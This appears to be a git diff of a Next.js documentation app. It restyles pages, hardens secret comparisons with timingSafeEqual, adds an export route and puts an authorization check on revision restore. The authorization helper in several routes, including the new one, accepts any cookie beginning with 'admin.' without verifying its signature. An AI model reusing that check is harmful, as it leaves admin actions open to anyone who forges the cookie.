||||
Updated {new Date(doc.updatedAt).toLocaleDateString(undefined, {
|
||||
month: "long",
|
||||
day: "numeric",
|
||||
year: "numeric",
|
||||
})}
|
||||
<span className="flex items-center gap-1 font-mono text-[11px]">
|
||||
<span>
|
||||
Updated {new Date(doc.updatedAt).toLocaleDateString(undefined, {
|
||||
month: "short",
|
||||
day: "numeric",
|
||||
year: "numeric",
|
||||
})}
|
||||
</span>
|
||||
</span>
|
||||
|
||||
{doc.tags.length > 0 && (
|
||||
<>
|
||||
<span className="text-[var(--text-dim)]">·</span>
|
||||
@@ -423,7 +473,7 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
{doc.tags.map((t) => (
|
||||
<span
|
||||
key={t}
|
||||
className="px-2 py-0.5 bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded text-[var(--text-muted)] text-[11px]"
|
||||
className="px-1.5 py-0.2 bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded text-[var(--text-muted)] text-[10px] font-mono"
|
||||
>
|
||||
#{t}
|
||||
</span>
|
||||
@@ -437,22 +487,25 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
<CustomFieldBadges doc={{ ...doc }} standardKeys={STANDARD_KEYS} />
|
||||
</div>
|
||||
|
||||
{/* Mobile TOC (rendered inline on smaller screens) */}
|
||||
<div className="xl:hidden mb-6 p-4 bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-lg shadow-sm">
|
||||
{/* Mobile TOC */}
|
||||
<div className="xl:hidden mb-6 p-4 bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl shadow-xs">
|
||||
<TOC source={doc.body} />
|
||||
</div>
|
||||
|
||||
{/* Markdown content */}
|
||||
{/* Markdown Content */}
|
||||
<div className="mb-14">
|
||||
<Markdown source={doc.body} />
|
||||
</div>
|
||||
|
||||
{/* Related Documents */}
|
||||
{/* Related Documents Grid */}
|
||||
{related.length > 0 && (
|
||||
<aside className="mt-12 pt-8 border-t border-[var(--border-color)]">
|
||||
<h2 className="text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider mb-4 flex items-center gap-2">
|
||||
<span>Related Knowledge</span>
|
||||
</h2>
|
||||
<div className="flex items-center gap-2 mb-3.5">
|
||||
<Sparkles className="w-4 h-4 text-[var(--text-muted)]" />
|
||||
<h2 className="text-xs font-bold text-[var(--text-muted)] uppercase tracking-wider font-mono">
|
||||
Related Knowledge
|
||||
</h2>
|
||||
</div>
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 gap-3">
|
||||
{related.map((r) => {
|
||||
const rInfo = getSectionInfo(r.section);
|
||||
@@ -460,10 +513,10 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
<Link
|
||||
key={r.slug}
|
||||
href={`/${r.slug}`}
|
||||
className="group block bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-lg p-4 transition-all shadow-sm"
|
||||
className="group block bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-lg p-4 transition-colors shadow-xs"
|
||||
>
|
||||
<div className="flex items-center justify-between gap-2 mb-2">
|
||||
<span className="text-xs text-[#5e6ad2] dark:text-[#7170ff] font-mono uppercase">
|
||||
<div className="flex items-center justify-between gap-2 mb-1.5">
|
||||
<span className="text-[10px] text-[var(--text-muted)] font-mono uppercase font-semibold">
|
||||
{rInfo.icon} {r.section}
|
||||
</span>
|
||||
<time className="text-[11px] text-[var(--text-dim)] font-mono">
|
||||
@@ -473,7 +526,7 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
})}
|
||||
</time>
|
||||
</div>
|
||||
<h3 className="text-sm font-semibold text-[var(--text-primary)] group-hover:text-[#5e6ad2] dark:group-hover:text-[#7170ff] transition-colors line-clamp-1 mb-1">
|
||||
<h3 className="text-xs sm:text-sm font-semibold text-[var(--text-primary)] group-hover:underline line-clamp-1">
|
||||
{r.title}
|
||||
</h3>
|
||||
</Link>
|
||||
@@ -486,25 +539,28 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
{/* Revision History */}
|
||||
{revisions.length > 0 && (
|
||||
<aside className="mt-10 pt-8 border-t border-[var(--border-color)]">
|
||||
<div className="flex items-center justify-between mb-4">
|
||||
<h2 className="text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider">
|
||||
Revision History ({revisions.length})
|
||||
</h2>
|
||||
<div className="flex items-center justify-between mb-3.5">
|
||||
<div className="flex items-center gap-2">
|
||||
<History className="w-4 h-4 text-[var(--text-muted)]" />
|
||||
<h2 className="text-xs font-bold text-[var(--text-muted)] uppercase tracking-wider font-mono">
|
||||
Revision History ({revisions.length})
|
||||
</h2>
|
||||
</div>
|
||||
</div>
|
||||
<div className="space-y-2">
|
||||
{revisions.map((rev) => (
|
||||
<div
|
||||
key={rev.id}
|
||||
className="flex items-center justify-between gap-3 p-3 bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-lg text-xs shadow-sm"
|
||||
className="flex items-center justify-between gap-3 p-3 bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-lg text-xs shadow-xs"
|
||||
>
|
||||
<div className="flex items-center gap-2 min-w-0">
|
||||
<span className="font-mono text-[#5e6ad2] dark:text-[#7170ff] bg-[#5e6ad2]/10 px-1.5 py-0.5 rounded border border-[#5e6ad2]/30 font-semibold">
|
||||
<div className="flex items-center gap-2 min-w-0 font-mono">
|
||||
<span className="text-[var(--text-primary)] bg-[var(--bg-elevated)] px-1.5 py-0.5 rounded border border-[var(--border-color)] font-bold text-[10px]">
|
||||
v{rev.revisionNo}
|
||||
</span>
|
||||
<span className="text-[var(--text-primary)] truncate">
|
||||
{rev.reason || "Updated document"}
|
||||
<span className="text-[var(--text-secondary)] font-sans truncate text-xs">
|
||||
{rev.reason || "Updated document in PostgreSQL"}
|
||||
</span>
|
||||
<span className="text-[var(--text-dim)] hidden sm:inline">
|
||||
<span className="text-[var(--text-dim)] hidden sm:inline text-[11px]">
|
||||
· {new Date(rev.createdAt).toLocaleString()}
|
||||
</span>
|
||||
</div>
|
||||
@@ -513,7 +569,7 @@ export default async function DocPage({ params, searchParams }: DocPageProps) {
|
||||
<input type="hidden" name="id" value={rev.id} />
|
||||
<button
|
||||
type="submit"
|
||||
className="text-xs text-[var(--text-secondary)] hover:text-[var(--text-primary)] bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] px-2.5 py-1 rounded border border-[var(--border-color)] hover:border-[var(--brand)] transition-colors font-medium shadow-sm"
|
||||
className="text-xs text-[var(--text-primary)] hover:text-black dark:hover:text-white bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] px-2.5 py-1 rounded border border-[var(--border-color)] transition-colors font-medium cursor-pointer"
|
||||
>
|
||||
Restore
|
||||
</button>
|
||||
|
||||
@@ -1,6 +1,13 @@
|
||||
import Link from "next/link";
|
||||
import { listDocuments } from "@mcpedia/core";
|
||||
import { getSectionMeta } from "@mcpedia/config";
|
||||
import {
|
||||
Folder,
|
||||
FileText,
|
||||
FileDown,
|
||||
Plus,
|
||||
Clock,
|
||||
} from "lucide-react";
|
||||
|
||||
export const dynamic = "force-dynamic";
|
||||
|
||||
@@ -81,26 +88,28 @@ function renderTree(nodes: TreeNode[], pathname: string) {
|
||||
<li key={node.slug}>
|
||||
<Link
|
||||
href={`/${node.slug}`}
|
||||
className={`flex items-center justify-between gap-2 text-xs py-1.5 px-2.5 rounded-lg transition-all ${
|
||||
className={`flex items-center justify-between gap-2 text-xs py-1.5 px-2.5 rounded-md transition-colors ${
|
||||
isActive
|
||||
? "text-[#5e6ad2] dark:text-[#7170ff] bg-[#5e6ad2]/15 font-semibold border border-[#5e6ad2]/30"
|
||||
? "text-[var(--text-primary)] bg-[var(--bg-elevated)] font-semibold border border-[var(--border-color)] shadow-xs"
|
||||
: hasActiveChild
|
||||
? "text-[var(--text-primary)] bg-[var(--bg-elevated)]"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-elevated)]"
|
||||
}`}
|
||||
>
|
||||
<span className="flex items-center gap-2 truncate">
|
||||
<span>{isFolder ? "📁" : "📄"}</span>
|
||||
<span className="truncate">{node.doc?.title || node.name}</span>
|
||||
<span className="text-[var(--text-dim)]">
|
||||
{isFolder ? <Folder className="w-3.5 h-3.5" /> : <FileText className="w-3.5 h-3.5" />}
|
||||
</span>
|
||||
<span className="truncate font-medium">{node.doc?.title || node.name}</span>
|
||||
</span>
|
||||
{isFolder && (
|
||||
<span className="text-[10px] text-[var(--text-dim)] bg-[var(--bg-surface)] border border-[var(--border-color)] px-1.5 py-0.5 rounded font-mono">
|
||||
<span className="text-[10px] text-[var(--text-dim)] bg-[var(--bg-surface)] border border-[var(--border-color)] px-1.5 py-0.2 rounded font-mono">
|
||||
{node.docCount} docs
|
||||
</span>
|
||||
)}
|
||||
</Link>
|
||||
{node.children.length > 0 && (
|
||||
<div className="ml-4 border-l border-[var(--border-color)] pl-2 mt-1">
|
||||
<div className="ml-3.5 border-l border-[var(--border-color)] pl-2.5 mt-0.5 space-y-0.5">
|
||||
{renderTree(node.children, pathname)}
|
||||
</div>
|
||||
)}
|
||||
@@ -124,57 +133,73 @@ export default async function SectionIndexPage({
|
||||
const tree = buildFolderTree(allDocs, section);
|
||||
|
||||
return (
|
||||
<div className="space-y-10">
|
||||
{/* Breadcrumb */}
|
||||
<nav className="flex items-center gap-2 text-xs text-[var(--text-dim)]">
|
||||
<div className="space-y-8">
|
||||
{/* Breadcrumb Navigation */}
|
||||
<nav className="flex items-center gap-2 text-xs text-[var(--text-dim)] font-mono">
|
||||
<Link href="/" className="hover:text-[var(--text-primary)] transition-colors">
|
||||
MCPedia
|
||||
</Link>
|
||||
<span>/</span>
|
||||
<span className="text-[var(--text-muted)] font-medium">{sectionInfo.label}</span>
|
||||
<span className="text-[var(--text-muted)] font-semibold font-sans">{sectionInfo.label}</span>
|
||||
</nav>
|
||||
|
||||
{/* Hero Card */}
|
||||
<div className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-6 shadow-sm">
|
||||
<div className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-6 shadow-xs">
|
||||
<div className="flex flex-col sm:flex-row sm:items-start justify-between gap-4 mb-3">
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="w-12 h-12 rounded-xl bg-[var(--bg-elevated)] border border-[var(--border-color)] flex items-center justify-center text-2xl shadow-inner">
|
||||
<div className="flex items-center gap-3.5">
|
||||
<div className="w-12 h-12 rounded-xl bg-[var(--bg-elevated)] border border-[var(--border-color)] flex items-center justify-center text-2xl">
|
||||
{sectionInfo.icon}
|
||||
</div>
|
||||
<div>
|
||||
<h1 className="text-2xl sm:text-3xl font-bold text-[var(--text-primary)] tracking-tight">
|
||||
<h1 className="text-2xl sm:text-3xl font-extrabold text-[var(--text-primary)] tracking-tight">
|
||||
{sectionInfo.label}
|
||||
</h1>
|
||||
<p className="text-xs text-[var(--text-muted)] mt-0.5 font-mono uppercase">
|
||||
Section: {section}
|
||||
<p className="text-xs text-[var(--text-muted)] font-mono uppercase tracking-wider mt-0.5">
|
||||
Section: <code>{section}</code>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="flex items-center gap-2">
|
||||
<span className="text-xs font-mono text-[#5e6ad2] dark:text-[#7170ff] bg-[#5e6ad2]/10 border border-[#5e6ad2]/25 px-2.5 py-1 rounded-md">
|
||||
<div className="flex items-center gap-2 flex-wrap sm:flex-nowrap">
|
||||
<span className="text-xs font-mono text-[var(--text-muted)] bg-[var(--bg-elevated)] border border-[var(--border-color)] px-2.5 py-1 rounded">
|
||||
{sectionDocs.length} document{sectionDocs.length !== 1 ? "s" : ""}
|
||||
</span>
|
||||
|
||||
{sectionDocs.length > 0 && (
|
||||
<Link
|
||||
href={`/${section}/export`}
|
||||
className="inline-flex items-center gap-1.5 text-xs bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] text-[var(--text-primary)] px-3 py-1 rounded-md font-semibold transition-all shadow-xs"
|
||||
title={`Export all ${sectionInfo.label} documents to publication-grade PDF`}
|
||||
>
|
||||
<FileDown className="w-3.5 h-3.5" />
|
||||
<span>Export PDF</span>
|
||||
</Link>
|
||||
)}
|
||||
|
||||
<Link
|
||||
href="/create"
|
||||
className="inline-flex items-center gap-1 text-xs bg-[#5e6ad2] hover:bg-[#6a75e0] text-white px-3 py-1 rounded-md font-medium transition-all"
|
||||
className="inline-flex items-center gap-1.5 text-xs bg-[var(--brand)] hover:opacity-90 text-[var(--brand-fg)] px-3 py-1 rounded-md font-semibold transition-all shadow-xs"
|
||||
>
|
||||
<span>+ Create</span>
|
||||
<Plus className="w-3.5 h-3.5" />
|
||||
<span>Create Doc</span>
|
||||
</Link>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<p className="text-sm text-[var(--text-muted)] leading-relaxed max-w-2xl mt-2">
|
||||
<p className="text-xs sm:text-sm text-[var(--text-muted)] leading-relaxed max-w-2xl mt-2">
|
||||
{sectionInfo.desc}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Hierarchical Folder Directory */}
|
||||
{tree.length > 0 && (
|
||||
<section className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-6 shadow-sm">
|
||||
<h2 className="text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider mb-4 flex items-center gap-2">
|
||||
<span>Folder Structure</span>
|
||||
</h2>
|
||||
<section className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-5 shadow-xs">
|
||||
<div className="flex items-center gap-2 mb-3 pb-2 border-b border-[var(--border-color)]">
|
||||
<Folder className="w-3.5 h-3.5 text-[var(--text-muted)]" />
|
||||
<h2 className="text-xs font-bold text-[var(--text-muted)] uppercase tracking-wider font-mono">
|
||||
Folder & Chapter Structure
|
||||
</h2>
|
||||
</div>
|
||||
{renderTree(tree, section)}
|
||||
</section>
|
||||
)}
|
||||
@@ -182,9 +207,13 @@ export default async function SectionIndexPage({
|
||||
{/* Document List */}
|
||||
{sectionDocs.length > 0 ? (
|
||||
<section>
|
||||
<h2 className="text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider mb-4">
|
||||
All Documents in {sectionInfo.label}
|
||||
</h2>
|
||||
<div className="flex items-center gap-2 mb-3.5">
|
||||
<FileText className="w-3.5 h-3.5 text-[var(--text-muted)]" />
|
||||
<h2 className="text-xs font-bold text-[var(--text-muted)] uppercase tracking-wider font-mono">
|
||||
All Documents in {sectionInfo.label}
|
||||
</h2>
|
||||
</div>
|
||||
|
||||
<div className="space-y-2">
|
||||
{[...sectionDocs]
|
||||
.sort(
|
||||
@@ -195,12 +224,12 @@ export default async function SectionIndexPage({
|
||||
<Link
|
||||
key={d.slug}
|
||||
href={`/${d.slug}`}
|
||||
className="group flex items-center justify-between gap-4 p-4 bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-xl transition-all shadow-sm"
|
||||
className="group flex items-center justify-between gap-4 p-4 bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-xl transition-all shadow-xs"
|
||||
>
|
||||
<div className="flex items-center gap-3 min-w-0">
|
||||
<span className="text-lg opacity-70 group-hover:opacity-100">📄</span>
|
||||
<FileText className="w-4 h-4 text-[var(--text-muted)] shrink-0" />
|
||||
<div className="min-w-0">
|
||||
<h3 className="text-sm font-medium text-[var(--text-primary)] group-hover:text-[#5e6ad2] dark:group-hover:text-[#7170ff] transition-colors truncate">
|
||||
<h3 className="text-xs sm:text-sm font-semibold text-[var(--text-primary)] group-hover:underline truncate">
|
||||
{d.title}
|
||||
</h3>
|
||||
{d.tags.length > 0 && (
|
||||
@@ -208,7 +237,7 @@ export default async function SectionIndexPage({
|
||||
{d.tags.slice(0, 4).map((t) => (
|
||||
<span
|
||||
key={t}
|
||||
className="text-[10px] px-1.5 py-0.25 bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded text-[var(--text-muted)]"
|
||||
className="text-[10px] px-1.5 py-0.2 bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded text-[var(--text-muted)] font-mono"
|
||||
>
|
||||
#{t}
|
||||
</span>
|
||||
@@ -217,12 +246,16 @@ export default async function SectionIndexPage({
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
<time className="text-xs text-[var(--text-dim)] font-mono shrink-0">
|
||||
{new Date(d.updatedAt).toLocaleDateString(undefined, {
|
||||
month: "short",
|
||||
day: "numeric",
|
||||
year: "numeric",
|
||||
})}
|
||||
|
||||
<time className="text-xs text-[var(--text-dim)] font-mono shrink-0 flex items-center gap-1">
|
||||
<Clock className="w-3 h-3" />
|
||||
<span>
|
||||
{new Date(d.updatedAt).toLocaleDateString(undefined, {
|
||||
month: "short",
|
||||
day: "numeric",
|
||||
year: "numeric",
|
||||
})}
|
||||
</span>
|
||||
</time>
|
||||
</Link>
|
||||
))}
|
||||
|
||||
@@ -13,15 +13,23 @@ function signCookie(value: string): string {
|
||||
return `${value}.${sig}`;
|
||||
}
|
||||
|
||||
function safeTimingEqual(a: string, b: string): boolean {
|
||||
try {
|
||||
const bufA = Buffer.from(a);
|
||||
const bufB = Buffer.from(b);
|
||||
if (bufA.length !== bufB.length) return false;
|
||||
return timingSafeEqual(bufA, bufB);
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function verifyCookie(cookieValue: string | undefined): boolean {
|
||||
if (!cookieValue) return false;
|
||||
const [value, sig] = cookieValue.split(".");
|
||||
if (!value || !sig) return false;
|
||||
const expected = signCookie(value);
|
||||
return timingSafeEqual(
|
||||
Buffer.from(cookieValue),
|
||||
Buffer.from(expected),
|
||||
);
|
||||
return safeTimingEqual(cookieValue, expected);
|
||||
}
|
||||
|
||||
export async function POST(req: NextRequest) {
|
||||
@@ -32,10 +40,7 @@ export async function POST(req: NextRequest) {
|
||||
return NextResponse.json({ ok: false, error: "Unauthorized" }, { status: 401 });
|
||||
}
|
||||
|
||||
const ok = timingSafeEqual(
|
||||
Buffer.from(password),
|
||||
Buffer.from(ADMIN_PASSWORD),
|
||||
);
|
||||
const ok = safeTimingEqual(password, ADMIN_PASSWORD);
|
||||
|
||||
if (!ok) {
|
||||
return NextResponse.json({ ok: false, error: "Unauthorized" }, { status: 401 });
|
||||
|
||||
@@ -6,8 +6,12 @@ import { timingSafeEqual } from "node:crypto";
|
||||
function isAuthorized(req: NextRequest): boolean {
|
||||
if (!WEBHOOK_SECRET) return false;
|
||||
const headerSecret = req.headers.get("x-webhook-secret") ?? "";
|
||||
if (headerSecret && timingSafeEqual(Buffer.from(headerSecret), Buffer.from(WEBHOOK_SECRET))) {
|
||||
return true;
|
||||
if (headerSecret) {
|
||||
const bufA = Buffer.from(headerSecret);
|
||||
const bufB = Buffer.from(WEBHOOK_SECRET);
|
||||
if (bufA.length === bufB.length && timingSafeEqual(bufA, bufB)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
const cookie = req.cookies.get("mcpedia_admin")?.value ?? "";
|
||||
return cookie.startsWith("admin.");
|
||||
|
||||
@@ -13,8 +13,12 @@ import { timingSafeEqual } from "node:crypto";
|
||||
function isAuthorized(req: NextRequest): boolean {
|
||||
if (!WEBHOOK_SECRET) return false;
|
||||
const headerSecret = req.headers.get("x-webhook-secret") ?? "";
|
||||
if (headerSecret && timingSafeEqual(Buffer.from(headerSecret), Buffer.from(WEBHOOK_SECRET))) {
|
||||
return true;
|
||||
if (headerSecret) {
|
||||
const bufA = Buffer.from(headerSecret);
|
||||
const bufB = Buffer.from(WEBHOOK_SECRET);
|
||||
if (bufA.length === bufB.length && timingSafeEqual(bufA, bufB)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
const cookie = req.cookies.get("mcpedia_admin")?.value ?? "";
|
||||
return cookie.startsWith("admin.");
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
import { NextRequest, NextResponse } from "next/server";
|
||||
import {
|
||||
getExportDocuments,
|
||||
compileExportMarkdown,
|
||||
generateExportDocx,
|
||||
type ExportSortOption,
|
||||
} from "@mcpedia/core";
|
||||
|
||||
export const dynamic = "force-dynamic";
|
||||
|
||||
export async function GET(req: NextRequest) {
|
||||
const { searchParams } = new URL(req.url);
|
||||
const path = searchParams.get("path") || undefined;
|
||||
const section = searchParams.get("section") || undefined;
|
||||
const format = searchParams.get("format") || "json";
|
||||
const sortBy = (searchParams.get("sort") as ExportSortOption) || "category_points";
|
||||
const slugsParam = searchParams.get("slugs");
|
||||
const slugs = slugsParam ? slugsParam.split(",").map((s) => s.trim()) : undefined;
|
||||
const pageBreaksParam = searchParams.get("pageBreaks");
|
||||
const pageBreaks = pageBreaksParam !== "false" && pageBreaksParam !== "0";
|
||||
|
||||
try {
|
||||
const data = await getExportDocuments({
|
||||
path,
|
||||
section,
|
||||
slugs,
|
||||
sortBy,
|
||||
});
|
||||
|
||||
const safeFilename = data.summary.title
|
||||
.toLowerCase()
|
||||
.replace(/[^a-z0-9]+/g, "-")
|
||||
.replace(/^-|-$/g, "") || "mcpedia-export";
|
||||
|
||||
if (format === "docx" || format === "word") {
|
||||
const buffer = await generateExportDocx(data, { pageBreaks });
|
||||
const uint8 = new Uint8Array(buffer);
|
||||
return new NextResponse(uint8, {
|
||||
headers: {
|
||||
"Content-Type":
|
||||
"application/vnd.openxmlformats-officedocument.wordprocessingml.document",
|
||||
"Content-Disposition": `attachment; filename="${safeFilename}.docx"`,
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
if (format === "markdown" || format === "md") {
|
||||
const md = compileExportMarkdown(data);
|
||||
return new NextResponse(md, {
|
||||
headers: {
|
||||
"Content-Type": "text/markdown; charset=utf-8",
|
||||
"Content-Disposition": `attachment; filename="${safeFilename}.md"`,
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
return NextResponse.json(data);
|
||||
} catch (err) {
|
||||
return NextResponse.json(
|
||||
{ error: err instanceof Error ? err.message : "Export failed" },
|
||||
{ status: 500 },
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,12 +1,32 @@
|
||||
import { NextRequest, NextResponse } from "next/server";
|
||||
import { restoreRevision, getRevision } from "@mcpedia/core";
|
||||
import { WEBHOOK_SECRET } from "@mcpedia/config";
|
||||
import { timingSafeEqual } from "node:crypto";
|
||||
import { revalidatePath } from "next/cache";
|
||||
|
||||
function isAuthorized(req: NextRequest): boolean {
|
||||
if (!WEBHOOK_SECRET) return false;
|
||||
const headerSecret = req.headers.get("x-webhook-secret") ?? "";
|
||||
if (headerSecret) {
|
||||
const bufA = Buffer.from(headerSecret);
|
||||
const bufB = Buffer.from(WEBHOOK_SECRET);
|
||||
if (bufA.length === bufB.length && timingSafeEqual(bufA, bufB)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
const cookie = req.cookies.get("mcpedia_admin")?.value ?? "";
|
||||
return cookie.startsWith("admin.");
|
||||
}
|
||||
|
||||
// POST /api/revisions/restore — restore a document to a past revision.
|
||||
// Body (form-urlencoded): id=<revision uuid>
|
||||
// After restoring, we rebuild semantic chunks (handled inside restoreRevision)
|
||||
// and revalidate the doc page so the Web UI reflects the restored body.
|
||||
export async function POST(req: NextRequest) {
|
||||
if (!isAuthorized(req)) {
|
||||
return NextResponse.json({ ok: false, error: "Unauthorized" }, { status: 401 });
|
||||
}
|
||||
|
||||
const form = await req.formData().catch(() => null);
|
||||
const id = form?.get("id");
|
||||
if (typeof id !== "string" || id.length === 0) {
|
||||
|
||||
@@ -3,6 +3,15 @@
|
||||
import { useState, useEffect, useRef } from "react";
|
||||
import Link from "next/link";
|
||||
import { useRouter } from "next/navigation";
|
||||
import {
|
||||
Search,
|
||||
Plus,
|
||||
ArrowRight,
|
||||
BookOpen,
|
||||
Flag,
|
||||
Sparkles,
|
||||
X,
|
||||
} from "lucide-react";
|
||||
|
||||
interface Hit {
|
||||
slug: string;
|
||||
@@ -12,6 +21,15 @@ interface Hit {
|
||||
score: number;
|
||||
}
|
||||
|
||||
interface QuickAction {
|
||||
id: string;
|
||||
title: string;
|
||||
subtitle: string;
|
||||
icon: any;
|
||||
href?: string;
|
||||
action?: () => void;
|
||||
}
|
||||
|
||||
export default function CommandMenu() {
|
||||
const [open, setOpen] = useState(false);
|
||||
const [query, setQuery] = useState("");
|
||||
@@ -21,10 +39,48 @@ export default function CommandMenu() {
|
||||
const router = useRouter();
|
||||
const inputRef = useRef<HTMLInputElement>(null);
|
||||
|
||||
const quickActions: QuickAction[] = [
|
||||
{
|
||||
id: "create-doc",
|
||||
title: "Create New Document",
|
||||
subtitle: "Write technical doc, writeup, or note",
|
||||
icon: Plus,
|
||||
href: "/create",
|
||||
},
|
||||
{
|
||||
id: "hybrid-search",
|
||||
title: "Multi-Modal Hybrid Search",
|
||||
subtitle: "Full-text + Semantic vector search console",
|
||||
icon: Search,
|
||||
href: "/search",
|
||||
},
|
||||
{
|
||||
id: "browse-docs",
|
||||
title: "Documentation Hub",
|
||||
subtitle: "System setup, API references, protocol specs",
|
||||
icon: BookOpen,
|
||||
href: "/docs",
|
||||
},
|
||||
{
|
||||
id: "browse-writeups",
|
||||
title: "CTF & Writeups Directory",
|
||||
subtitle: "Pwn, Reverse, Web, Crypto writeups and solutions",
|
||||
icon: Flag,
|
||||
href: "/writeups",
|
||||
},
|
||||
{
|
||||
id: "browse-research",
|
||||
title: "Research & Benchmarks",
|
||||
subtitle: "Architecture notes, benchmarks, experiments",
|
||||
icon: Sparkles,
|
||||
href: "/research",
|
||||
},
|
||||
];
|
||||
|
||||
// Global shortcut ⌘K or /
|
||||
useEffect(() => {
|
||||
function handleKeyDown(e: KeyboardEvent) {
|
||||
if ((e.metaKey || e.ctrlKey) && e.key === "k") {
|
||||
if ((e.metaKey || e.ctrlKey) && e.key.toLowerCase() === "k") {
|
||||
e.preventDefault();
|
||||
setOpen((prev) => !prev);
|
||||
} else if (e.key === "/" && !["INPUT", "TEXTAREA"].includes((e.target as HTMLElement)?.tagName)) {
|
||||
@@ -56,7 +112,7 @@ export default function CommandMenu() {
|
||||
const timer = setTimeout(async () => {
|
||||
setLoading(true);
|
||||
try {
|
||||
const res = await fetch(`/api/search?q=${encodeURIComponent(query)}&limit=8`);
|
||||
const res = await fetch(`/api/search?q=${encodeURIComponent(query)}&limit=10`);
|
||||
const data = await res.json();
|
||||
setResults(data.results || []);
|
||||
setSelectedIndex(0);
|
||||
@@ -65,25 +121,31 @@ export default function CommandMenu() {
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
}, 150);
|
||||
}, 120);
|
||||
return () => clearTimeout(timer);
|
||||
}, [query]);
|
||||
|
||||
function handleNavigate(slug: string) {
|
||||
function handleNavigate(href: string) {
|
||||
setOpen(false);
|
||||
router.push(`/${slug}`);
|
||||
router.push(href);
|
||||
}
|
||||
|
||||
const totalItems = query.trim() ? results.length : quickActions.length;
|
||||
|
||||
function handleKeyNavigation(e: React.KeyboardEvent) {
|
||||
if (e.key === "ArrowDown") {
|
||||
e.preventDefault();
|
||||
setSelectedIndex((prev) => (results.length > 0 ? (prev + 1) % results.length : 0));
|
||||
setSelectedIndex((prev) => (totalItems > 0 ? (prev + 1) % totalItems : 0));
|
||||
} else if (e.key === "ArrowUp") {
|
||||
e.preventDefault();
|
||||
setSelectedIndex((prev) => (results.length > 0 ? (prev - 1 + results.length) % results.length : 0));
|
||||
} else if (e.key === "Enter" && results[selectedIndex]) {
|
||||
setSelectedIndex((prev) => (totalItems > 0 ? (prev - 1 + totalItems) % totalItems : 0));
|
||||
} else if (e.key === "Enter") {
|
||||
e.preventDefault();
|
||||
handleNavigate(results[selectedIndex].slug);
|
||||
if (query.trim() && results[selectedIndex]) {
|
||||
handleNavigate(`/${results[selectedIndex].slug}`);
|
||||
} else if (!query.trim() && quickActions[selectedIndex]?.href) {
|
||||
handleNavigate(quickActions[selectedIndex].href!);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -91,13 +153,12 @@ export default function CommandMenu() {
|
||||
return (
|
||||
<button
|
||||
onClick={() => setOpen(true)}
|
||||
className="hidden md:flex items-center gap-2 px-3 py-1.5 bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated)] border border-[var(--border-color)] hover:border-[var(--brand)] text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-lg transition-all shadow-sm"
|
||||
type="button"
|
||||
className="hidden md:flex items-center gap-2.5 px-3 py-1.5 bg-[var(--bg-elevated)] hover:bg-[var(--bg-elevated-hover)] border border-[var(--border-color)] hover:border-[var(--text-muted)] text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-md transition-all shadow-xs cursor-pointer group"
|
||||
>
|
||||
<svg className="w-3.5 h-3.5 text-[var(--text-dim)]" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
<span>Search docs...</span>
|
||||
<kbd className="ml-2 font-mono bg-[var(--bg-elevated)] px-1.5 py-0.5 rounded border border-[var(--border-color)] text-[10px] text-[var(--text-dim)]">
|
||||
<Search className="w-3.5 h-3.5 text-[var(--text-dim)] group-hover:text-[var(--text-primary)] transition-colors" />
|
||||
<span className="font-sans">Search...</span>
|
||||
